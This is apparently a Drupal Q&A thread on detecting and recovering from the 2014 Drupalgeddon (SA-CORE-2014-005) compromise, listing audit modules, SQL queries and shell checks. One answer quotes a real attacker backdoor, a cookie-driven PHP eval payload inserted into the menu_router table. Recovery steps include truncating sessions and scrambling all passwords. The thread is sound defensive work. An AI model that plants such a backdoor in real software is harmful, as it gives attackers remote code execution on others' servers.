Drupal SA-CORE-2014-005 - How to tell if my server / sites were compromised?

Question

I just updated all my sites using the patch method of resolving the Drupal SA-CORE-2014-005 exploit. I just read reports that just yesterday there is someone from a Russian IP infiltrating drupal sites.

https://www.drupal.org/SA-CORE-2014-005

My main concerns are now:

• How do I tell if my sites have been comprised?
• What should I search for in my apache access logs to detect if my site was a victim or not?
• So far what are these hackers doing to comprised sites?

Answer 1

Here are some SQL queries that can be run against your site DB's to check for users with admin privileges, and which of those have accessed the site post 15th Oct.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Answer 2

If you're reading this article and hoping to check a Drupal 7 site more than a month after the exploit landed, your site quite likely already got hacked. Your best bet is to restore a backup from before the attacks commenced and work from there.

There is a FAQ on SA-CORE-2014-005.

How do I tell if my sites have been compromised?

One way to quickly check if sites are compromised is with the Drupalgeddon drush command.

• https://www.drupal.org/project/drupalgeddon

Install to your ~/.drush with drush dl drupalgeddon

Then use drush drupalgeddon-test to test. Drush aliases make this easy and quick.

This tool can confirm an exploited site, but it cannot guarantee your site did not get exploited. There is no "clean bill of health" here unless you upgraded before the attacks started.

---

Site Audit module includes some of the checks from Drupalgeddon, and gives you a lot more useful input too. I highly recommend it. (EDIT: Now they work together - super nice!)

• http://drupal.org/project/site_audit

---

Security Review doesn't check for Drupalgeddon attacks but is worth having in your toolbelt too.

• http://drupal.org/project/security_review

---

If your site codebase was writeable to the www user , you could additionally check for modified code using the hacked module. This module may not do what you think based on its name alone :)

• http://drupal.org/project/hacked

---

While there is no single certain way to identify all compromised sites, these tools can help you identify the most common indications.

---

What should I search for in my apache access logs to detect if my site was a victim or not?

Your access logs will contain a lot of POST requests by now. Unless you had taken the unusual step of logging all post data in advance of the bug, you're unlikely to have the information to tell which of these were malicious.

So far what are these hackers doing to compromised sites?

Many are reporting that their sites are being patched by the hackers! As an attacker, this makes good sense - you don't want your newly hijacked site whipped out from underneath you by the next attacker :)

Other than that, I'd guess the sites are being used to harvest whatever valuable data is there (maybe grab some creds, maybe lift transaction details after exploiting) and to do boring things like send spam and work as humble botnet slaves. Oh, and further expand the attacker's empire of hijacked Drupal sites. (Sorry, I don't have any hacked sites to observe.)

Answer 3

Some checks for common attacks are (this is not an exhaustive list, but are some of the attacks seen in the wild so far):

• Check your user 1 account to make sure its user name, email address or password are what you expect them to be. Also check any other user accounts that have high levels of permissions if possible.
• Check for new user accounts that look suspicious.
• Check for changes to the roles on your system, for example any new roles or renamed roles.
• Check for permission changes. The most important aspect of this is to make sure that the anonymous user role (or other roles that anyone can sign themselves up to get) haven't been changed to give them increased access.
• Check for new custom blocks that may contain malicious code.
• Check for new custom nodes that may contain malicious code.
• Check for files on your file system that shouldn't be there. This is easy if you use version control because you can do git status or svn st to see if any new files are there.
• If they have uploaded malicious files then you can check your access logs for hits to strange file names that you are unfamiliar with.

• Check your menu router database table for malicious entries. For example (the drupalgeddon module/drush plugin on drupal.org has a good script for checking this table more thoroughly):

  SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

• You can also just browse your menu router table for strange looking entries.

Some things hackers are trying to do are:

• Put php script files on your site that they can then run by hitting them in a browser. These scripts can do a wide range of malicious things. This is achieved through adding malicious menu router entries.
• Create admin users accounts for them to then use to do bad things to your site or take over your site.
• Change the user 1 email address so they can then password reset for that account and take over it.
• Change permissions on publicly accessible user roles.
• Add blocks/nodes/etc. that may contain malicious code. If you have the PHP filter enabled this is even more of a problem.

Unfortunately there are so many things an attacker could do to your database that it is pretty hard to give a full list of possibilities. They could do things that try to get them control of your site, or they could just break your site but dropping database tables or columns etc.

They could even just make very small changes to site configuration, like changing your site name or something like that, which is not the end of the world but is still problematic.

Basically, anything that you could do in your database by running an SQL command, an attacker could theoretically do.

All the modules mentioned in Chris Burgess's answer are very useful in checking these things.

Answer 4

I think I would go with the advice drupal.org "You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.". As Bevan said in this comment "Updating or patching Drupal does not fix backdoors that attackers installed before updating or patching Drupal."

Bevan also made the following workflow chart to help you analyze if you might have been infected and how to recover and prevent. However, he ask everybody to go to his original article to ensure you have the latest version of the workflow. Also, Acquia make an interesting article about the attacks and patterns that they have experienced in Acquia Cloud

Answer 5

Quote from: https://www.drupal.org/node/2357241#comment-9258955

This is an example of the file that gets inserted into the menu_router table access_callback column:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

As you can see it's trying to create the file modules/image/vzoh.php but since I have only read permissions inside those directories php fails with.

Reports of people finding similar files created doing a search in your drupal directory: https://www.drupal.org/node/2357241#comment-9260017

---

What i did was do the following command:

ack --type=php 'php \$form' > hacked_searched_php_form1.txt

==================

Quoted From: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Showing files that have changed on the live server: git status

Looking for code execution attempts via menu_router: select * from menu_router where access_callback = 'file_put_contents'

Showing which files are on the live server and not in version control: diff -r docroot repo | grep docroot | grep 'Only in docroot'

Finding PHP files in the files directory: find . -path "*php"

Checking the amount of time between when a user logged into your site and their most recent page visit: select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;

Answer 6

A very good list of commands to tell if you've been comprimised.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Answer 7

You can check whether your website has been hacked with this online tool:

Drupal Check: The EngineHack

Obviously it has it's limitations, but it's a good starting point.